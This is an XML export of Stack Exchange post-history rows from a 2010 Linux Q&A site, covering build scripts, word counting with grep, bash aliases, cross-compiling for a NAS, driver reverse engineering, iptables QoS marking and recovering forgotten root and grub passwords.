  <row Id="4624" PostHistoryTypeId="2" PostId="2240" RevisionGUID="1883a7bf-8a3d-41f6-8779-fe8bebdae27c" CreationDate="2010-09-19T06:28:25.297" UserId="1889" Text="Palm's WebOS phones are Linux powered as well.  They do not need to be rooted to gain access to the system.  WebOS has a very active home-brew community and many standard Linux packages available via optware.  I've got my Palm Pre set up as a web server, accessible via ssh, and even had samba running on it for a while. Check out [WebOS Internals][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webos-internals.org" />
  <row Id="4625" PostHistoryTypeId="16" PostId="2240" RevisionGUID="1883a7bf-8a3d-41f6-8779-fe8bebdae27c" CreationDate="2010-09-19T06:28:25.297" UserId="-1" />
  <row Id="4626" PostHistoryTypeId="5" PostId="2141" RevisionGUID="6ed0a7fb-fc61-489d-b8cd-637e526baf40" CreationDate="2010-09-19T10:20:59.107" UserId="885" Comment="fixed typo in proper name" Text="I know of the [FreeRunner][1], but are there any other Linux cell phones out there? Are they any good?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openmoko.com/freerunner.html" />
  <row Id="4627" PostHistoryTypeId="6" PostId="2141" RevisionGUID="6ed0a7fb-fc61-489d-b8cd-637e526baf40" CreationDate="2010-09-19T10:20:59.107" UserId="885" Comment="fixed typo in proper name" Text="élinuxà" />
  <row Id="4628" PostHistoryTypeId="2" PostId="2241" RevisionGUID="0c812dcf-7a4c-4d88-8e1f-f6bba5b4bf80" CreationDate="2010-09-19T10:53:59.510" UserId="1772" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to create a build script for GCC (which works, for now), but I would like to be able to skip rebuilding all the prereq libraries when I'm only updating GCC/binutils for example. I thought of making the script create a file in the main build directory containing all the steps to skip. How would I do that (something with the `cat` command and find to see if a step is in the file?). This would allow me, albeit manually, to enable a rebuild of certain parts when needed.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="4629" PostHistoryTypeId="1" PostId="2241" RevisionGUID="0c812dcf-7a4c-4d88-8e1f-f6bba5b4bf80" CreationDate="2010-09-19T10:53:59.510" UserId="1772" Text="build script: how to implement a &quot;skip previously completed step&quot;" />
  <row Id="4630" PostHistoryTypeId="3" PostId="2241" RevisionGUID="0c812dcf-7a4c-4d88-8e1f-f6bba5b4bf80" CreationDate="2010-09-19T10:53:59.510" UserId="1772" Text="ébashà" />
  <row Id="4631" PostHistoryTypeId="5" PostId="2241" RevisionGUID="a7739bf9-87a9-4ff2-aaec-92852fa8f8e5" CreationDate="2010-09-19T11:05:46.397" UserId="1772" Comment="added PS" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to create a build script for GCC (which works, for now), but I would like to be able to skip rebuilding all the prereq libraries when I'm only updating GCC/binutils for example. I thought of making the script create a file in the main build directory containing all the steps to skip. How would I do that (something with the `cat` command and find to see if a step is in the file?). This would allow me, albeit manually, to enable a rebuild of certain parts when needed.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS: this &quot;skipping completed steps&quot; needs to be performed each time the script is run." />
  <row Id="4632" PostHistoryTypeId="2" PostId="2242" RevisionGUID="cc812484-7533-49ff-a569-4ce58feba78c" CreationDate="2010-09-19T11:59:20.560" UserId="195" Text="It sounds like you need an introduction to `make`, produced by our friends over at GNU, I believe.&#xD;&#xA;&#xD;&#xA;Make can look at a bunch of intermediate files and determine which ones need to be recompiled. And based on which one(s) of those, also figure out which ones need their supporting files rebuilt, thus recursing.&#xD;&#xA;&#xD;&#xA;You will need to set it up in advance by creating a Makefile, but this is something which it sounds like you are willing to do.&#xD;&#xA;&#xD;&#xA;For more information, I would check out this URL: http://www.gnu.org/software/make/. Actually, bullet point number 2 sounds like it does a better job of describing it than anything I could do." />
  <row Id="4633" PostHistoryTypeId="2" PostId="2243" RevisionGUID="7d1f7e49-91b5-4548-b75d-b7652d3de6c4" CreationDate="2010-09-19T12:33:36.250" UserId="916" Text="You might want to look into [CMake][cmake_documentation]. For what you've described, it's probably overkill and `make` would be a better fit, but if you start getting into the [`autotools`][autotools] stuff, it could make your life a lot easier.&#xD;&#xA;&#xD;&#xA;[cmake_documentation]: http://www.cmake.org/cmake/help/documentation.html&#xD;&#xA;[autotools]: http://en.wikipedia.org/wiki/GNU_build_system" />
  <row Id="4634" PostHistoryTypeId="5" PostId="2241" RevisionGUID="7439d9f0-9515-48c6-a053-c4e37a675330" CreationDate="2010-09-19T14:28:45.570" UserId="1772" Comment="added UPDATE" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to create a build script for GCC (which works, for now), but I would like to be able to skip rebuilding all the prereq libraries when I'm only updating GCC/binutils for example. I thought of making the script create a file in the main build directory containing all the steps to skip. How would I do that (something with the `cat` command and find to see if a step is in the file?). This would allow me, albeit manually, to enable a rebuild of certain parts when needed.&#xD;&#xA;&#xD;&#xA;UPDATE: The answers posted seem to assume that I need a makefile, while I find that very troublesome and don't want it; the build procedure consists of many cd, configure, make, make install steps that I simply don't want in a makefile. The script is near-finished, this is the last step I need for it...&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS: this &quot;skipping completed steps&quot; needs to be performed each time the script is run." />
  <row Id="4635" PostHistoryTypeId="5" PostId="2241" RevisionGUID="f4c1355a-c764-457f-96e2-9fe55a3220e9" CreationDate="2010-09-19T14:35:52.947" UserId="1772" Comment="added UPDATE2" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to create a build script for GCC (which works, for now), but I would like to be able to skip rebuilding all the prereq libraries when I'm only updating GCC/binutils for example. I thought of making the script create a file in the main build directory containing all the steps to skip. How would I do that (something with the `cat` command and find to see if a step is in the file?). This would allow me, albeit manually, to enable a rebuild of certain parts when needed.&#xD;&#xA;&#xD;&#xA;UPDATE: The answers posted seem to assume that I need a makefile, while I find that very troublesome and don't want it; the build procedure consists of many cd, configure, make, make install steps that I simply don't want in a makefile. The script is near-finished, this is the last step I need for it...&#xD;&#xA;UPDATE: as I said in the comment below, I'm on windows, using MSYS bash as shell.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS: this &quot;skipping completed steps&quot; needs to be performed each time the script is run." />
  <row Id="4636" PostHistoryTypeId="5" PostId="2241" RevisionGUID="cd398c41-4d27-45b9-9a9b-7d7f248b094a" CreationDate="2010-09-19T15:23:42.200" UserId="1772" Comment="added 3 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to create a build script for GCC (which works, for now), but I would like to be able to skip rebuilding all the prereq libraries when I'm only updating GCC/binutils for example. I thought of making the script create a file in the main build directory containing all the steps to skip. How would I do that (something with the `cat` command and find to see if a step is in the file?). This would allow me, albeit manually, to enable a rebuild of certain parts when needed.&#xD;&#xA;&#xD;&#xA;UPDATE: The answers posted seem to assume that I need a makefile, while I find that very troublesome and don't want it; the build procedure consists of many cd, configure, make, make install steps that I simply don't want in a makefile. The script is near-finished, this is the last step I need for it...&#xD;&#xA;&#xD;&#xA;UPDATE2: as I said in the comment below, I'm on windows, using MSYS bash as shell.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS: this &quot;skipping completed steps&quot; needs to be performed each time the script is run." />
  <row Id="4637" PostHistoryTypeId="2" PostId="2244" RevisionGUID="15264e40-6ec8-486b-bec8-dbeb9ce4a51b" CreationDate="2010-09-19T15:51:06.990" UserId="698" Text="I have a large json file that is on 1 line and I want to use the command line to be able to count the number occurrence of a word in the file?" />
  <row Id="4638" PostHistoryTypeId="1" PostId="2244" RevisionGUID="15264e40-6ec8-486b-bec8-dbeb9ce4a51b" CreationDate="2010-09-19T15:51:06.990" UserId="698" Text="how do i count the number of occurances of a word in a text file with the command line?" />
  <row Id="4639" PostHistoryTypeId="3" PostId="2244" RevisionGUID="15264e40-6ec8-486b-bec8-dbeb9ce4a51b" CreationDate="2010-09-19T15:51:06.990" UserId="698" Text="écommandölineàébashàégrepà" />
  <row Id="4640" PostHistoryTypeId="2" PostId="2245" RevisionGUID="4fce7576-4ad2-4d6f-ad5d-a42d78eacf0e" CreationDate="2010-09-19T15:52:37.767" UserId="1131" Text="    cat FILE | tr ' ' '\n' | grep WORD | wc -l" />
  <row Id="4641" PostHistoryTypeId="2" PostId="2246" RevisionGUID="5da6d0dd-f828-4160-a568-e07f176f2f9c" CreationDate="2010-09-19T16:13:30.413" UserId="1131" Text="Since you already have grub installed the hard part is already done. To proceed:&#xD;&#xA;&#xD;&#xA;1. create a partition in your 60 MB unallocated space, create filesystem&#xD;&#xA;2. Boot into ubuntu&#xD;&#xA;3. loop-back mount the iso&#xD;&#xA;4. cp the contents to your new filesystem&#xD;&#xA;5. add a grub entry&#xD;&#xA;6. boot ...&#xD;&#xA;&#xD;&#xA;1) For example via mkfs.ext3&#xD;&#xA;&#xD;&#xA;3)4) see the frugal_liste.sh script available at the dsl mirrors - something along these lines:&#xD;&#xA;&#xD;&#xA;    mount /mnt/$SOURCE/current.iso /mnt/iso -t iso9660 -o loop=/dev/loop0&#xD;&#xA;    cp -r /mnt/iso/KNOPPIX /mnt/$TARGET&#xD;&#xA;    cp -r /mnt/iso/boot /mnt/$TARGET&#xD;&#xA;&#xD;&#xA;5) [Check out this howto][1]&#xD;&#xA;&#xD;&#xA;You have adapt these lines:&#xD;&#xA;&#xD;&#xA;    title           Damn Small Linux&#xD;&#xA;    root            (hd0,0)&#xD;&#xA;    kernel         /boot/isolinux/linux24 root=/dev/sda1 ro lang=us toram noeject frugal&#xD;&#xA;    initrd          /boot/isolinux/minirt24.gz&#xD;&#xA;&#xD;&#xA;That means you have to adapt the root line, the root= parameter and the paths according to your setup.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/wiki/index.php/Install_to_USB_From_within_Linux#Method_III:_Using_GRUB_as_boot_loader" />
  <row Id="4642" PostHistoryTypeId="5" PostId="2245" RevisionGUID="19befa4f-0365-4a84-a346-e5ef84074c2d" CreationDate="2010-09-19T16:48:55.323" UserId="1131" Comment="tr alternatives" Text="    cat FILE | tr ' ' '\n' | grep WORD | wc -l&#xD;&#xA;&#xD;&#xA;If it is not guaranteed that there are spaces between the words, you have to use some other character (as delimiter) to replace. For example alternative tr parts are:&#xD;&#xA;&#xD;&#xA;    tr '&quot;' '\n'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    tr &quot;'&quot; '\n'&#xD;&#xA;&#xD;&#xA;If you want to replace double or single quotes." />
  <row Id="4643" PostHistoryTypeId="6" PostId="2241" RevisionGUID="d2a65409-4c38-4a2c-b989-c8ff3577d098" CreationDate="2010-09-19T17:59:10.700" UserId="29" Comment="add msys and mingw tags" Text="ébashàémsysàémingwà" />
  <row Id="4644" PostHistoryTypeId="2" PostId="2247" RevisionGUID="ab6fe1a8-6f59-4450-8c89-cba008926f9d" CreationDate="2010-09-19T18:10:54.327" UserId="1804" Text="So, it looks like you're not really asking a question around build frameworks, but rather a specific question about how to determine if a certain line exists in a text file?&#xD;&#xA;&#xD;&#xA;If you want to find out if the string `foo` exists in a file, then:&#xD;&#xA;&#xD;&#xA;    if grep -q foo thefile; then&#xD;&#xA;       # it's there&#xD;&#xA;    else&#xD;&#xA;       # otherwise&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;should do the trick." />
  <row Id="4645" PostHistoryTypeId="2" PostId="2248" RevisionGUID="ddb39164-2cd6-40f5-84a8-7516cfb07e08" CreationDate="2010-09-19T18:17:33.313" UserId="912" Text="For example, one of my bash aliases is this&#xD;&#xA;&#xD;&#xA;    alias p='clear;ls -lt;pwd;'&#xD;&#xA;&#xD;&#xA;`clear` also clears the history which I don't want. I just want to clear the screen momentarily.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; however does exactly what I want. How can I use it in mu alias?" />
  <row Id="4646" PostHistoryTypeId="1" PostId="2248" RevisionGUID="ddb39164-2cd6-40f5-84a8-7516cfb07e08" CreationDate="2010-09-19T18:17:33.313" UserId="912" Text="How can I specify keyboard shortcuts in a bash alias?" />
  <row Id="4647" PostHistoryTypeId="3" PostId="2248" RevisionGUID="ddb39164-2cd6-40f5-84a8-7516cfb07e08" CreationDate="2010-09-19T18:17:33.313" UserId="912" Text="élinuxàébashàéunixàéaliasà" />
  <row Id="4648" PostHistoryTypeId="5" PostId="2244" RevisionGUID="22688a0b-b29c-4ae0-bab1-3f3c5b30a997" CreationDate="2010-09-19T18:39:07.920" UserId="73" Comment="added 26 characters in body; edited title" Text="I have a large JSON file that is on one line, and I want to use the command line to be able to count the number of occurrences of a word in the file. How can I do that?" />
  <row Id="4649" PostHistoryTypeId="4" PostId="2244" RevisionGUID="22688a0b-b29c-4ae0-bab1-3f3c5b30a997" CreationDate="2010-09-19T18:39:07.920" UserId="73" Comment="added 26 characters in body; edited title" Text="How do I count the number of occurrences of a word in a text file with the command line?" />
  <row Id="4650" PostHistoryTypeId="5" PostId="2248" RevisionGUID="94f91cfd-103e-44d9-81b1-7de1a9249891" CreationDate="2010-09-19T18:57:22.810" UserId="912" Comment="edited body" Text="For example, one of my bash aliases is this&#xD;&#xA;&#xD;&#xA;    alias p='clear;ls -lt;pwd;'&#xD;&#xA;&#xD;&#xA;`clear` also clears the history which I don't want. I just want to clear the screen momentarily.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; however does exactly what I want. How can I use it in my alias?" />
  <row Id="4651" PostHistoryTypeId="2" PostId="2249" RevisionGUID="77bf7bb1-4602-4f85-9cbf-ced75bd3df7d" CreationDate="2010-09-19T19:39:19.253" UserId="1579" Text="I've been messing around with my NAS which runs on Linux. I have root access, but there is no compiler. I seem to remember something about being able to compile on another system, but I'm not certain." />
  <row Id="4652" PostHistoryTypeId="1" PostId="2249" RevisionGUID="77bf7bb1-4602-4f85-9cbf-ced75bd3df7d" CreationDate="2010-09-19T19:39:19.253" UserId="1579" Text="How do I install GCC on a system with no compiler?" />
  <row Id="4653" PostHistoryTypeId="3" PostId="2249" RevisionGUID="77bf7bb1-4602-4f85-9cbf-ced75bd3df7d" CreationDate="2010-09-19T19:39:19.253" UserId="1579" Text="écompilingàéembeddedàégccà" />
  <row Id="4654" PostHistoryTypeId="2" PostId="2250" RevisionGUID="641717b5-2163-4bdf-acb8-2056ee58b246" CreationDate="2010-09-19T19:47:51.990" UserId="217" Text="Maybe your platform is included in http://gcc.gnu.org/install/binaries.html" />
  <row Id="4655" PostHistoryTypeId="2" PostId="2251" RevisionGUID="59aa71f5-e18b-4f23-becf-d4f0152d781d" CreationDate="2010-09-19T19:50:48.273" UserId="1174" Text="You could use autofs to mount the share only when it's needed. There is even some [documentation][1] for Ubuntu about this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Autofs" />
  <row Id="4656" PostHistoryTypeId="2" PostId="2252" RevisionGUID="1f23c0d8-007b-4b48-bb4c-cfec85eaeb9a" CreationDate="2010-09-19T19:54:58.767" UserId="1889" Text="Cross-compiling may be the solution for you It allows you to compile executables for one architecture on a system of a different architecture.  [Here's an introduction][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.landley.net/writing/docs/cross-compiling.html" />
  <row Id="4657" PostHistoryTypeId="2" PostId="2253" RevisionGUID="5c88d908-3210-45b7-a872-023b2201ee63" CreationDate="2010-09-19T21:06:19.883" UserId="1779" Text="With GNU grep, `grep -o '\&lt;WORD\&gt;' | wc -l` works.  (`\&lt;` asserts the start of a word and `\&gt;` asserts the end of a word (similar to Perl's `\b`), so this ensures that you're not matching a string in the middle of a word.)&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;b&gt;$&lt;/b&gt; python -c 'import this' | grep '\&amp;lt;one\&amp;gt;'&#xD;&#xA;There should be &lt;b&gt;one&lt;/b&gt;-- and preferably only &lt;b&gt;one&lt;/b&gt; --obvious way to do it.&#xD;&#xA;Namespaces are &lt;b&gt;one&lt;/b&gt; honking great idea -- let's do more of those!&#xD;&#xA;&lt;b&gt;$&lt;/b&gt; python -c 'import this' | grep -o '\&amp;lt;one\&amp;gt;'&#xD;&#xA;&lt;b&gt;one&lt;/b&gt;&#xD;&#xA;&lt;b&gt;one&lt;/b&gt;&#xD;&#xA;&lt;b&gt;one&lt;/b&gt;&#xD;&#xA;&lt;b&gt;$&lt;/b&gt; python -c 'import this' | grep -o '\&amp;lt;one\&amp;gt;' | wc -l&#xD;&#xA;3&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="4658" PostHistoryTypeId="2" PostId="2254" RevisionGUID="e6815e25-d096-471d-822f-b3c93a78c8da" CreationDate="2010-09-19T21:57:10.590" UserId="1762" Text="Maybe there is a binary distribution available for your NAS? For example there are binary packages available for [DNS323][1], not to mention that you can [install Debian][2] on it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.dns323.info/&#xD;&#xA;  [2]: http://www.cyrius.com/debian/orion/d-link/dns-323/" />
  <row Id="4659" PostHistoryTypeId="2" PostId="2255" RevisionGUID="f5a24846-11ec-4f74-a61d-49c096482489" CreationDate="2010-09-19T22:00:45.893" UserId="885" Text="What you've asked for in general is called executing a readline command from bash (the equivalent of `zle -U $key_sequence` or `zle $widget $arguments[@]` in zsh). As far as as I know, this is not possible in bash.&#xD;&#xA;&#xD;&#xA;However, in this specific case, I don't observe any difference between running `clear` and typing &lt;kbd&gt;Ctrl+L&lt;/kbd&gt; (readline command `clear-screen`).&#xD;&#xA;" />
  <row Id="4660" PostHistoryTypeId="4" PostId="2248" RevisionGUID="b01d429b-ac19-4e0a-96c0-1d240309541b" CreationDate="2010-09-19T22:01:33.490" UserId="885" Comment="edited tags; edited title" Text="How can I simulate keyboard shortcuts in a bash alias?" />
  <row Id="4661" PostHistoryTypeId="6" PostId="2248" RevisionGUID="b01d429b-ac19-4e0a-96c0-1d240309541b" CreationDate="2010-09-19T22:01:33.490" UserId="885" Comment="edited tags; edited title" Text="élinuxàébashàékeyboardöshortcutsàéaliasà" />
  <row Id="4662" PostHistoryTypeId="2" PostId="2256" RevisionGUID="28bd18ee-333f-472c-8e7c-1c8243988cd8" CreationDate="2010-09-19T23:02:22.470" UserId="382" Text="If `clear` is clearing history and the terminal there must be a function, alias or script that is doing that. See what `type -a clear` tells you.&#xD;&#xA;&#xD;&#xA;Another way to clear the terminal is to use `tput clear` which does exactly the same thing as what `clear` is supposed to do. You can also try doing it directly using the escape sequence (for xterm for example), but it may be different for different terminals (it should work for any that emulate xterm, such as gnome-terminal, PuTTY, etc.): `printf '\e[H\e[2J'`" />
  <row Id="4663" PostHistoryTypeId="5" PostId="2249" RevisionGUID="3f6af0b4-2390-40e2-86f7-240853528502" CreationDate="2010-09-20T00:29:06.500" UserId="1579" Comment="added 118 characters in body" Text="I've been messing around with my NAS which runs on Linux. I have root access, but there is no compiler. I seem to remember something about being able to compile on another system, but I'm not certain.&#xD;&#xA;&#xD;&#xA;    root@LSB1:~# uname -a&#xD;&#xA;    Linux LSB1 2.6.22.18-88f6281 #50 Tue Dec 22 18:06:23 JST 2009 armv5tejl unknown&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4664" PostHistoryTypeId="2" PostId="2257" RevisionGUID="ceffcc62-45db-4b99-a34e-7fa9bc6d7ca7" CreationDate="2010-09-20T05:02:04.037" UserId="1571" Text="This may be too broad of a question, but I'm not really sure what exactly I'm looking for. My main question is how the open source community reverse engineers windows drivers (for say, video cards) to re-write them under linux.&#xD;&#xA;&#xD;&#xA;I'm an EE graduate, so I've taken courses in microprocessor design and such, assembly, C for embedded systems, and I've worked on embedded linux. But I feel like I'm missing something when trying to understand how drivers are written for linux without an API from the hardware manufacturer.&#xD;&#xA;&#xD;&#xA;What leads to my question is that on some new laptops, they come with dual video cards. Both an integrated one and a discrete one. There's driver software that allows switching between the 2 in windows, but as far as I know, there's no either open source or proprietary drivers. Obviously I'm not asking something stupid like &quot;omg how do I write that msyelf&quot;. But it did make me realize that I've always wondered the _process_ of getting hardware support on linux.&#xD;&#xA;&#xD;&#xA;Links to resources are fine, I don't expect a tutorial on driver development in an answer. But at least I need to be pointed in the right direction." />
  <row Id="4665" PostHistoryTypeId="1" PostId="2257" RevisionGUID="ceffcc62-45db-4b99-a34e-7fa9bc6d7ca7" CreationDate="2010-09-20T05:02:04.037" UserId="1571" Text="Capturing OS/hardware communication / reverse engineering drivers" />
  <row Id="4666" PostHistoryTypeId="3" PostId="2257" RevisionGUID="ceffcc62-45db-4b99-a34e-7fa9bc6d7ca7" CreationDate="2010-09-20T05:02:04.037" UserId="1571" Text="éhardwareàédriversàéembeddedà" />
  <row Id="4667" PostHistoryTypeId="2" PostId="2258" RevisionGUID="de13e27d-5d74-427c-b645-348523f96764" CreationDate="2010-09-20T07:57:29.867" UserId="1131" Text="There are of course a lot of possibilities.&#xD;&#xA;&#xD;&#xA;For example if it is an USB device you could monitor the USB traffic between the device/compute on a system with driver support (analogous to tcpdump for network). For example for Windows there are several USB monitor tools available (IIRC usbsnoop for example).&#xD;&#xA;&#xD;&#xA;In the case of a USB scanner you could e.g. generate a trace with the default settings, then change one setting, generate another trace, compare them and figure out what changed and so on.&#xD;&#xA;&#xD;&#xA;Analogous to that you could trace stuff for SCSI, Firewire etc. devices.&#xD;&#xA;&#xD;&#xA;Then you could try to dis-assemble/debug a proprietary driver (for example with [IDA pro][1]).&#xD;&#xA;&#xD;&#xA;Or you could execute Windows in a virtual machine or emulator (e.g. qemu) and use breakpoints and inspect the hardware state before/after driver calls. Analogous to that you could observe to what registers or something like that a driver writes/reads.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Interactive_Disassembler" />
  <row Id="4668" PostHistoryTypeId="2" PostId="2259" RevisionGUID="1e3363d0-b013-490a-8606-43069fb19170" CreationDate="2010-09-20T08:13:42.063" UserId="1878" Text="I am trying to set up a QOS script on my [Tomato][1]-enabled WRT54G router.  The script does the basics of what I need (make sure that a particular machine on my network has lower priority than anything else), but I am not satisfied with the fact that I had to define a specific rule for the outgoing traffic from all other machines instead of using some 'default' behavior.&#xD;&#xA;&#xD;&#xA;Specifically, I would like to get rid of the two lines that mark packets with marks 11 and 12.&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -A PREROUTING -s 192.168.1.70 -j MARK --set-mark 10 &#xD;&#xA;    iptables -t mangle -A PREROUTING -s 192.168.1.70 -j RETURN&#xD;&#xA;    iptables -t mangle -A PREROUTING -m iprange --src-range 192.168.1.2-192.168.1.69 -j MARK --set-mark 11 &#xD;&#xA;    iptables -t mangle -A PREROUTING -m iprange --src-range 192.168.1.71-192.168.1.254 -j MARK --set-mark 12 &#xD;&#xA;    iptables -t mangle -A PREROUTING -j IMQ --todev 0 &#xD;&#xA;&#xD;&#xA;I tried to just remove them (adding a 'default 12') at the creation of the qdisk, but throughput dropped down dramatically.  I also tried to mark all packets with either&#xD;&#xA; &#xD;&#xA;    iptables -t mangle -A PREROUTING -j MARK --set-mark 12&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    iptables -t mangle -A PREROUTING -m mark --mark 0 -j MARK --set-mark 12&#xD;&#xA;&#xD;&#xA;as the first or last filtering rules, but this did not work either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is the complete script...&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;TCA=&quot;tc class add dev br0&quot; &#xD;&#xA;TFA=&quot;tc filter add dev br0&quot; &#xD;&#xA;TQA=&quot;tc qdisc add dev br0&quot; &#xD;&#xA;SFQ=&quot;sfq perturb 10&quot; &#xD;&#xA;tc qdisc del dev br0 root &#xD;&#xA;tc qdisc add dev br0 root handle 1: htb default 10 &#xD;&#xA;tc class add dev br0 parent 1: classid 1:1 htb rate 2400kbit &#xD;&#xA;$TCA parent 1:1 classid 1:10 htb rate 2300kbit ceil 2400kbit prio 0 &#xD;&#xA;$TCA parent 1:1 classid 1:11 htb rate   10kbit ceil 2400kbit prio 1 &#xD;&#xA;$TCA parent 1:1 classid 1:12 htb rate   10kbit ceil 2400kbit prio 2 &#xD;&#xA;$TCA parent 1:1 classid 1:13 htb rate   10kbit ceil 2000kbit prio 4 &#xD;&#xA;$TQA parent 1:10 handle 10: $SFQ &#xD;&#xA;$TQA parent 1:11 handle 11: $SFQ &#xD;&#xA;$TQA parent 1:12 handle 12: $SFQ &#xD;&#xA;$TQA parent 1:13 handle 13: $SFQ &#xD;&#xA;$TFA parent 1:0 prio 0 protocol ip handle 10 fw flowid 1:10 &#xD;&#xA;$TFA parent 1:0 prio 1 protocol ip handle 11 fw flowid 1:11 &#xD;&#xA;$TFA parent 1:0 prio 2 protocol ip handle 12 fw flowid 1:12 &#xD;&#xA;$TFA parent 1:0 prio 4 protocol ip handle 13 fw flowid 1:13 &#xD;&#xA;iptables -t mangle -A POSTROUTING -p tcp --sport    80 -j MARK --set-mark 10 &#xD;&#xA;iptables -t mangle -A POSTROUTING -p tcp --sport   443 -j MARK --set-mark 11 &#xD;&#xA;iptables -t mangle -A POSTROUTING -p tcp --sport   995 -j MARK --set-mark 12 &#xD;&#xA;iptables -t mangle -A POSTROUTING -d 192.168.1.70 -j MARK --set-mark 13 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TCAU=&quot;tc class add dev imq0&quot; &#xD;&#xA;TFAU=&quot;tc filter add dev imq0&quot; &#xD;&#xA;TQAU=&quot;tc qdisc add dev imq0&quot; &#xD;&#xA;modprobe imq &#xD;&#xA;modprobe ipt_IMQ &#xD;&#xA;ip link set imq0 up &#xD;&#xA;tc qdisc del dev imq0 root &#xD;&#xA;tc qdisc add dev imq0 root handle 1: htb&#xD;&#xA;tc class add dev imq0 parent 1: classid 1:1 htb rate 700kbit &#xD;&#xA;$TCAU parent 1:1 classid 1:10 htb rate 7kbit ceil 500kbit prio 4 &#xD;&#xA;$TCAU parent 1:1 classid 1:11 htb rate 30kbit ceil 700kbit prio 2 &#xD;&#xA;$TCAU parent 1:1 classid 1:12 htb rate 663kbit ceil 700kbit prio 2 &#xD;&#xA;$TQAU parent 1:10 handle 10: $SFQ &#xD;&#xA;$TQAU parent 1:11 handle 11: $SFQ &#xD;&#xA;$TQAU parent 1:12 handle 12: $SFQ &#xD;&#xA;$TFAU parent 1:0 prio 4 protocol ip handle 10 fw flowid 1:10 &#xD;&#xA;$TFAU parent 1:0 prio 2 protocol ip handle 11 fw flowid 1:11 &#xD;&#xA;$TFAU parent 1:0 prio 2 protocol ip handle 12 fw flowid 1:12 &#xD;&#xA;&#xD;&#xA;iptables -t mangle -A PREROUTING -s 192.168.1.70 -j MARK --set-mark 10 &#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;# What should I do to avoid these two lines and mark everything else as '12'?&#xD;&#xA;#&#xD;&#xA;iptables -t mangle -A PREROUTING -m iprange --src-range 192.168.1.2-192.168.1.69 -j MARK --set-mark 11 &#xD;&#xA;iptables -t mangle -A PREROUTING -m iprange --src-range 192.168.1.71-192.168.1.254 -j MARK --set-mark 12 &#xD;&#xA;iptables -t mangle -A PREROUTING -j IMQ --todev 0 &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.polarcloud.com/firmware" />
  <row Id="4669" PostHistoryTypeId="1" PostId="2259" RevisionGUID="1e3363d0-b013-490a-8606-43069fb19170" CreationDate="2010-09-20T08:13:42.063" UserId="1878" Text="Default mark for packets using iptables" />
  <row Id="4670" PostHistoryTypeId="3" PostId="2259" RevisionGUID="1e3363d0-b013-490a-8606-43069fb19170" CreationDate="2010-09-20T08:13:42.063" UserId="1878" Text="éiptablesà" />
  <row Id="4671" PostHistoryTypeId="2" PostId="2260" RevisionGUID="317825ef-3154-4b5c-9022-35d85d3f7366" CreationDate="2010-09-20T08:29:10.633" UserId="33" Text="I see you are using Ubuntu. I have a similar issue on my work Laptop where sometimes for no apparent reason the sound devices die, a restart fixes the issue. What kind of soundcard are you using?" />
  <row Id="4672" PostHistoryTypeId="2" PostId="2261" RevisionGUID="ecdab19d-8706-4c9c-9238-ddd0f6943463" CreationDate="2010-09-20T08:35:17.293" UserId="33" Text="Well, your bookmarks can be found in the file ~/.gtk-bookmarks so you could hack something together but there is no built-in way (according to docs etc)" />
  <row Id="4673" PostHistoryTypeId="2" PostId="2262" RevisionGUID="1bd6f9ad-3e65-4661-92dc-d3aa1c1776ec" CreationDate="2010-09-20T08:51:09.553" UserId="1903" Text="How to hack linux root password ?&#xD;&#xA;&#xD;&#xA;If we forget linux root password, we'll change it by using grub boot. &#xD;&#xA;&#xD;&#xA;But in this case, we set password to grub and forget both root and grub password too means how can we recover it ?" />
  <row Id="4674" PostHistoryTypeId="1" PostId="2262" RevisionGUID="1bd6f9ad-3e65-4661-92dc-d3aa1c1776ec" CreationDate="2010-09-20T08:51:09.553" UserId="1903" Text="How to hack or reset linux root and grub password ?" />
  <row Id="4675" PostHistoryTypeId="3" PostId="2262" RevisionGUID="1bd6f9ad-3e65-4661-92dc-d3aa1c1776ec" CreationDate="2010-09-20T08:51:09.553" UserId="1903" Text="élinuxàépasswordàégrubàérootà" />
